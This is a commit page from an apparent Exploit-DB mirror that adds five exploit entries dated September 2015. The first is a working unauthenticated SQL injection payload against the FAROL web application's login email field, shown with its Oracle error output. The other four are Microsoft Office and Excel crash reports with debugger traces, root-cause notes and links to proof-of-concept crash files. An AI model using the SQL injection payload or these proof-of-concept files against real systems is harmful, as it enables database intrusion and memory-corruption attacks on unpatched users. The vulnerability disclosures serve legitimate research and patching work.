bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

DB: 2015-09-17

Browse source 
5 new exploits
This commit is contained in:
Offensive Security 2015-09-17 05:02:01 +00:00
parent fcfafebf3e
commit eb00d41c2e
6 changed files with 334 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

5
files.csv
View file

@ -34507,3 +34507,8 @@ id,file,description,date,author,platform,type,port
38207,platforms/php/webapps/38207.txt,"Quick.Cms/Quick.Cart Cross Site Scripting Vulnerability",2013-01-09,"High-Tech Bridge",php,webapps,0
38208,platforms/multiple/dos/38208.py,"Colloquy Remote Denial of Service Vulnerability",2013-01-09,Aph3x,multiple,dos,0
38209,platforms/php/webapps/38209.txt,"WordPress Gallery Plugin 'filename_1' Parameter Remote Arbitrary File Access Vulnerability",2013-01-10,Beni_Vanda,php,webapps,0
38213,platforms/php/webapps/38213.txt,"FAROL - SQL Injection Vulnerability",2015-09-16,"Thierry Fernandes Faria",php,webapps,80
38214,platforms/windows/dos/38214.txt,"Microsoft Office Excel 2007_ 2010_ 2013 - BIFFRecord Use-After-Free",2015-09-16,"Google Security Research",windows,dos,0
38215,platforms/windows/dos/38215.txt,"Microsoft Office 2007 - BIFFRecord Length Use-After-Free",2015-09-16,"Google Security Research",windows,dos,0
38216,platforms/windows/dos/38216.txt,"Microsoft Office 2007 - OLESSDirectyEntry.CreateTime Type Confusion",2015-09-16,"Google Security Research",windows,dos,0
38217,platforms/windows/dos/38217.txt,"Microsoft Office 2007 - OGL.dll ValidateBitmapInfo Bounds Check Failure (MS15-097)",2015-09-16,"Google Security Research",windows,dos,0

Can't render this file because it is too large.

37
platforms/php/webapps/38213.txt Executable file
View file

@ -0,0 +1,37 @@
# Exploit Title: Web Application Farol with anauthenticated SQLi injection
# Date: 2015-09-16
# Exploit Author: Thierry Fernandes Faria [ a.k.a SoiL ] [ thierryfariaa (at) gmail (dot) com ]
# Vendor Homepage:http://www.teiko.com.br/pt/solucoes/infraestrutura-em-ti/farol
# Version: [All]
# CVE : CVE-2015-6962
# OWASP Top10: A1-Injection
+---------------------+
+ Product Description +
+---------------------+
The FAROL web application is a software that monitors the databases
+----------------------+
+ Exploitation Details +
+----------------------+
A vulnerability has been detected in the login page from web application FAROL . Sql injection anauthenticated.
The e-mail field at login page is vulnerable.
The e-mail field is vulnerable to Error Based Sql injection.
Vulnerable Page: http://target/tkmonitor/estrutura/login/Login.actions.php?recuperar
Vulnerable POST Parameter: email
Usage:email'[SQLi error based]--
eg:
email=1'%20or%201=ctxsys.drithsx.sn(1,(select%20sys.stragg(distinct%20banner)%20from%20v$version))--
ORA-20000: Oracle Text error:
DRG-11701: thesaurus CORE 11.2.0.4.0 ProductionNLSRTL Version 11.2.0.4.0 - ProductionOracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit ProductionPL/SQL Release 11.2.0.4.0 - ProductionTNS for Linux: Version 11.2.0.4.0 - Production does not exist
ORA-06512: at "CTXSYS.DRUE", line 160
+----------+
+ Solution +
+----------+
Upgrade the software

56
platforms/windows/dos/38214.txt Executable file
View file

@ -0,0 +1,56 @@
Source: https://code.google.com/p/google-security-research/issues/detail?id=462
The following crash was observed in Microsoft Excel 2007 running on Windows 2003 R2. This crash was also reproduced in Microsoft Excel 2010 on Windows 7 x86 and Microsoft Excel 2013 on Windows 8.1 x86. The test environment was Excel 2007 on Windows 2003 R2 with application verifier basic checks enabled.
Attached files:
Original File: 683709058_orig.xls
Crashing File: 683709058_crash.xls
Minimized Crashing File: 683709058_min.xls
The minimized crashing file shows two deltas from the original. The first at offset 0x237 is in the data of the 4th BIFFRecord and the second delta at offset 0x34a5 is in the type field of a BIFFRecord.
File versions:
Excel.exe: 12.0.6718.5000
MSO.dll: 12.0.6721.5000
Observed Crash:
eax=00000000 ebx=00000000 ecx=0ce119f8 edx=00003fff esi=0e98de10 edi=0013c82c
eip=30037cc5 esp=00137180 ebp=00137188 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
*** ERROR: Symbol file could not be found. Defaulted to export symbols for Excel.exe -
Excel!Ordinal40+0x37cc5:
30037cc5 0fb64604 movzx eax,byte ptr [esi+4] ds:0023:0e98de14=??
0:000> kb L8
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00137188 303df098 0e98de10 00000000 00000102 Excel!Ordinal40+0x37cc5
0013d068 30528190 0013d0a8 00000102 00000000 Excel!Ordinal40+0x3df098
0013d2bc 305280b1 00000000 00000001 00000008 Excel!Ordinal40+0x528190
0013d330 3038d46d 0013ddf2 00000000 00000001 Excel!Ordinal40+0x5280b1
0013e000 300084a4 0013e104 00000001 0013f568 Excel!Ordinal40+0x38d46d
0013fbb0 30005e9a 02270fd7 00000003 30f61708 Excel!Ordinal40+0x84a4
0013feb8 30003b3a 00000000 02270fd7 00000003 Excel!Ordinal40+0x5e9a
0013ff30 30003884 30000000 00000000 02270fd7 Excel!Ordinal40+0x3b3a
In this crash esi is a heap address. We can see that this is a free chunk:
0:000> !heap -p -a 0xe98de10
address 0e98de10 found in
_DPH_HEAP_ROOT @ 1161000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
e7f0fc0: e98d000 2000
7c83e330 ntdll!RtlFreeHeap+0x0000011a
018b1611 vfbasics!AVrfpRtlFreeHeap+0x000000a8
331039d5 mso!Ordinal1743+0x00002d4d
329c91d1 mso!MsoFreePv+0x0000003f
30298310 Excel!Ordinal40+0x00298310
30300ac3 Excel!Ordinal40+0x00300ac3
305f1899 Excel!Ordinal40+0x005f1899
This is a use after free vulnerability affecting all currently supported versions of Microsoft Excel.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/38214.zip

76
platforms/windows/dos/38215.txt Executable file
View file

@ -0,0 +1,76 @@
Source: https://code.google.com/p/google-security-research/issues/detail?id=464
The following crash was observed in Microsoft Office 2007 with Microsoft Office File Validation Add-In disabled and Application Verifier enabled for testing and reproduction. This bug did not reproduce in Office 2010 or 2013.
Attached files:
Original File: 1105668828_orig.xls
Crashing File: 1105668828_crash.xls
Minimized Crashing File: 1105668828_min.xls
The minimized crashing file shows two one bit deltas from the original file. The first delta at offset 0x1CF7E and the second is at offset 0x3A966. Both of these offset appear to be BIFFRecord lengths.
File Versions:
Excel.exe: 12.0.6718.5000
MSO.dll: 12.0.6721.5000
Observed Crash:
eax=00000000 ebx=00000000 ecx=00000000 edx=0012e3bc esi=0ecd8ff0 edi=0000089e
eip=3035a5ed esp=0012e3b0 ebp=0012e410 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
3035a5e4 0f8530270a00 jne Excel!Ordinal40+0x3fcd1a (303fcd1a)
3035a5ea 8b7518 mov esi,dword ptr [ebp+18h]
Excel!Ordinal40+0x35a5ed:
3035a5ed 8b0e mov ecx,dword ptr [esi] ds:0023:0ecd8ff0=????????
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012e410 3035ab4d 00134dc0 0000089e 00000028 Excel!Ordinal40+0x35a5ed
00130464 3035ab9e 00000028 0000000a ffffffff Excel!Ordinal40+0x35ab4d
00131ef0 3026f1cd 00000002 00000000 00000118 Excel!Ordinal40+0x35ab9e
00132514 3026d160 0000000a 00132560 00000118 Excel!Ordinal40+0x26f1cd
0013279c 30263a3d 0e1ecfb8 0000000a 00000000 Excel!Ordinal40+0x26d160
00132c98 302636a5 0e1ecfb8 00000004 00132d20 Excel!Ordinal40+0x263a3d
00132cac 3025869a 00000004 00132d20 00000000 Excel!Ordinal40+0x2636a5
00132d2c 30258553 00134dc0 0000001a 00132d58 Excel!Ordinal40+0x25869a
00132e7c 30258470 30edc060 0e17ac00 0ebb7fac Excel!Ordinal40+0x258553
00132e94 32c50135 30edc060 0e17ac00 00133190 Excel!Ordinal40+0x258470
00132f48 32c4fb6d 00133190 0e83ce38 00000001 mso!Ordinal6768+0x13e7
00132f98 32c4fd30 00133190 00132fec 00000001 mso!Ordinal6768+0xe1f
00132ff8 32c4fb6d 000001be 0e83ce38 00000001 mso!Ordinal6768+0xfe2
00133048 32c4f756 00133190 001330cc 00000000 mso!Ordinal6768+0xe1f
00133108 32c4f0e2 00133190 30eba978 0e74ed90 mso!Ordinal6768+0xa08
0013313c 302583f2 0e74ed90 00133190 0e83ce38 mso!Ordinal6768+0x394
001331c8 302582df 0cc88fd8 00134dc0 00002020 Excel!Ordinal40+0x2583f2
00133f44 301153f9 0cc88fd8 00134b88 00000102 Excel!Ordinal40+0x2582df
We can see that esi is holding a pointer to invalid memory. This is a heap address.
0:000> !heap -p -a 0xecd8ff0
address 0ecd8ff0 found in
_DPH_HEAP_ROOT @ 1161000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
eb04f40: ecd8000 2000
7c83e330 ntdll!RtlFreeHeap+0x0000011a
018b1611 vfbasics!AVrfpRtlFreeHeap+0x000000a8
331039d5 mso!Ordinal1743+0x00002d4d
329c91d1 mso!MsoFreePv+0x0000003f
3025ac56 Excel!Ordinal40+0x0025ac56
3026f1cd Excel!Ordinal40+0x0026f1cd
3026d160 Excel!Ordinal40+0x0026d160
30263a3d Excel!Ordinal40+0x00263a3d
302636a5 Excel!Ordinal40+0x002636a5
3025869a Excel!Ordinal40+0x0025869a
30258553 Excel!Ordinal40+0x00258553
30258470 Excel!Ordinal40+0x00258470
32c50135 mso!Ordinal6768+0x000013e7
32c4fb6d mso!Ordinal6768+0x00000e1f
Esi is a free-ed allocation. This is a use after free vulnerability.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/38215.zip

80
platforms/windows/dos/38216.txt Executable file
View file

@ -0,0 +1,80 @@
Source: https://code.google.com/p/google-security-research/issues/detail?id=465
The following crash was observed in Microsoft Office 2007 with Microsoft Office File Validation Add-In disabled and Application Verifier enabled for testing and reproduction. This bug did not reproduce in Office 2010 or 2013.
Attached files:
Original File: 1516065514_orig.xls
Crashing File: 1516065514_crash.xls
Minimized Crashing File: 1516065514_min.xls
The minimized crashing file shows a one bit deltas from the original file at offset 0x49E8. OffVis reports this to be the CreateTime field of an OLESSDirectoryEntry structure.
File Versions:
Excel.exe: 12.0.6718.5000
MSO.dll: 12.0.6721.5000
Observed Crash:
When run without Application Verifier enabled the following crash occurs:
eax=30272d58 ebx=03b49330 ecx=03b49144 edx=03a64d44 esi=30f6dca0 edi=03a64d40
eip=fffffffc esp=00133e80 ebp=00133e84 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
fffffffc ?? ???
0:000> kb L8
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
00133e7c 3028f4da 00133ec8 3028d2ef 00000005 0xfffffffc
00133e84 3028d2ef 00000005 00000001 03b49200 Excel!Ordinal40+0x28f4da
00133ec8 30290e14 03b49330 00000001 00000000 Excel!Ordinal40+0x28d2ef
00133fa0 3028a2b9 00000000 00000000 00000000 Excel!Ordinal40+0x290e14
00134130 302912ae 00000000 00000000 00000000 Excel!Ordinal40+0x28a2b9
0013414c 30286206 00000001 00000000 03b66c00 Excel!Ordinal40+0x2912ae
001341cc 302860ce 00000000 ffffffff 00000001 Excel!Ordinal40+0x286206
0013426c 30282360 03b49000 027c6a00 d107955b Excel!Ordinal40+0x2860ce
In this crash case eip was corrupted to 0xfffffffc. Tracing through sub_3028F4B4 we see something along the lines of:
x = *dword_30F5F9BC + 0x144; // x=0x30272d58
fptr = x + x[0x14]; // x[0x14] == 0
fptr(); // calling pointer at 0x30272d58 = 0xfffffffc
It looks as though the global variable at 30f5f9bc was used with incorrect type information or otherwise corrupted. Running the same poc file again but with Application Verifier enabled gets us closer to the root of the issue with the following crash observed:
eax=0ff28e50 ebx=07b42420 ecx=0012c91c edx=00000020 esi=0364efe8 edi=00000000
eip=30299c9e esp=0012c944 ebp=0012c950 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for Excel.exe -
Excel!Ordinal40+0x299c9e:
30299c9e 8b80f0030000 mov eax,dword ptr [eax+3F0h] ds:0023:0ff29240=????????
0:000> kb L8
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012c950 3006b70a 00000005 00000001 07b42420 Excel!Ordinal40+0x299c9e
0012cc84 3006b556 0012ceb4 0020020a 07b42420 Excel!Ordinal40+0x6b70a
0012ce8c 3006b3a2 0012ceb4 0ee46ff0 00000009 Excel!Ordinal40+0x6b556
00133050 3006a11c 00133e08 0ee46ff0 00000009 Excel!Ordinal40+0x6b3a2
00133ca0 3006a01b 00133e08 0ee46ff0 00000009 Excel!Ordinal40+0x6a11c
00133d50 30069ead 00133e08 0ee46ff0 00000009 Excel!Ordinal40+0x6a01b
00133d70 302972c0 00133e08 0ee46ff0 00000009 Excel!Ordinal40+0x69ead
00133e28 302974c7 0f82ef58 00133ec0 00133eac Excel!Ordinal40+0x2972c0
We can see here that eax is being indexed at an offset of 0x3f0. However, if we look at the actual allocation for the chunk eax is pointed to we see that the allocation size was only 0x1b0.
0:000> !heap -p -a 0xff28e50
address 0ff28e50 found in
_DPH_HEAP_ROOT @ 1161000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
f7b5400: ff28e50 1b0 - ff28000 2000
7c83d6d4 ntdll!RtlAllocateHeap+0x00000e9f
018b1504 vfbasics!AVrfpRtlAllocateHeap+0x000000c3
33103a8f mso!Ordinal1743+0x00002e07
329c7e66 mso!MsoPvAllocCore+0x0000005a
3000b694 Excel!Ordinal40+0x0000b694
3000b640 Excel!Ordinal40+0x0000b640
This poc behaves like a type confusion or memory corruption issue in areas not protected by application verifier. The fact the eip was corrupted indicates a high likelihood for exploitation.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/38216.zip

80
platforms/windows/dos/38217.txt Executable file
View file

@ -0,0 +1,80 @@
Source: https://code.google.com/p/google-security-research/issues/detail?id=469
The following crash was observed in Microsoft Office 2007 Excel with Microsoft Office File Validation Add-In disabled and Application Verifier enabled for testing and reproduction. This bug did not reproduce in Office 2010 or 2013.
Attached files:
Original File: 3013413838_orig.xls
Crashing File: 3013413838_crash.xls
Minimized Crashing File: 3013413838_min.xls
The minimized crashing file shows a one bit delta from the original file at offset 0x139F. OffVis did not reveal anything unique about this offset in the minimized file.
File Versions:
Excel.exe: 12.0.6718.5000
OGL.dll: 12.0.6719.5000
oart.dll: 12.0.6683.5002
GDI32.dll: 5.2.3790.5563
Observed Crash:
This crashing eip was observed 4 times in fuzzing results with various invalid memory address being dereferenced.
eax=8a94e1a1 ebx=00000000 ecx=10a80598 edx=8a94e1a0 esi=0013d478 edi=0013d42c
eip=3bd18f75 esp=0013d3dc ebp=0013d3e0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
OGL!ScanOperation::Convert_24_sRGB:
3bd18f68 55 push ebp
3bd18f69 8bec mov ebp,esp
3bd18f6b 837d0800 cmp dword ptr [ebp+8],0
3bd18f6f 7431 je OGL!ScanOperation::Convert_24_sRGB+0x3a (3bd18fa2)
3bd18f71 8d4201 lea eax,[edx+1]
3bd18f74 56 push esi
=> 3bd18f75 0fb65001 movzx edx,byte ptr [eax+1] ds:0023:8a94e1a2=??
0:000> kb L8
ChildEBP RetAddr Args to Child
0013d3e0 3be703b3 0000666f 0013d42c 00000000 OGL!ScanOperation::Convert_24_sRGB+0xd
0013d3fc 3be18f32 00000000 8a94e1a0 0000666f OGL!EpAlphaBlender::Blend+0x55
0013d568 3bd9f6c1 0013d894 00000000 0013d58c OGL!ConvertBitmapData+0x61
0013d5a4 3bde4137 00000000 00000001 000e200b OGL!GpMemoryBitmap::InternalLockBits+0x105
0013d5d0 3bdfa09b 05492fa8 0013d5f8 00000001 OGL!GpMemoryBitmap::LockBits+0xba
0013d608 3bdfac0c 0013d7bc 0013d894 0013d62c OGL!CopyOnWriteBitmap::PipeLockBitsFromMemory+0xb8
0013d6e8 3bd2b7e7 0013d7bc 0013d894 0013d7d0 OGL!CopyOnWriteBitmap::PipeLockBits+0x553
0013d700 3be4cc56 0013d7bc 0013d894 00000001 OGL!GpBitmap::PipeLockBits+0x4e
The function OGL!ScanOperation::Convert_24_sRGB was called with edx pointing to an invalid memory location: 0x8a94e1a0. Tracing back we can find that the heap address where edx came from was allocated with the following call stack:
3be70fe2 OGL!GpMalloc+0x00000014
3bd58669 OGL!CopyOnWriteBitmap::CopyOnWriteBitmap+0x00000049
3be0517e OGL!CopyOnWriteBitmap::Create+0x00000021
3be0514d OGL!GpBitmap::GpBitmap+0x00000030
The edx value was copied in from the stack at the following location OGL!GpMemoryBitmap::InitMemoryBitmap():
3bd4f6f0 8b45fc mov eax,dword ptr [ebp-4]
3bd4f6f3 6a06 push 6
3bd4f6f5 59 pop ecx
3bd4f6f6 8bf3 mov esi,ebx
=>3bd4f6f8 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
The stack location was set with the invalid value here in OGL!ValidateBitmapInfo():
3bda46ed 8b4d08 mov ecx,dword ptr [ebp+8]
3bda46f0 895804 mov dword ptr [eax+4],ebx
3bda46f3 895008 mov dword ptr [eax+8],edx
3bda46f6 89480c mov dword ptr [eax+0Ch],ecx
=> 3bda46f9 897810 mov dword ptr [eax+10h],edi
Edi is set earlier as the result of an imul instruction that is then added to a base heap pointer:
.text:3BDA46CB lea edi, [ebx-1]
.text:3BDA46CE imul edi, edx
.text:3BDA46D1 add edi, [ebp+arg_4] ; bad value here
With this PoC edi=0x0000666e and edx=0x00013350. The edx value is calculated earlier in the same function. If 0xf9ef540 is the base pointer (arg_4) we end up setting this value to be 0x666e*0x13350+0xf9ef540 or 0x8a94e1a0 as we saw in the initial bad memory access. The heap chunk referenced at 0xf9ef540 has an original allocation size of 15156 and we've set our pointer far out of bounds of this allocation range.
There is a distinct lack of overflow checks and bounds checking in the OGL!ValidateBitmapInfo function that may lead to memory corruption when doing bitmap conversion later on in the code. For example, if the 0x13350 value is able to grow to 0x27fd0 we can set the edi value to be 0xffffcb60 (0x666e * 0x27fd0 = 0xffffcb60) which leads to an out of bound write instead of an out of bound read later in the code.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/38217.zip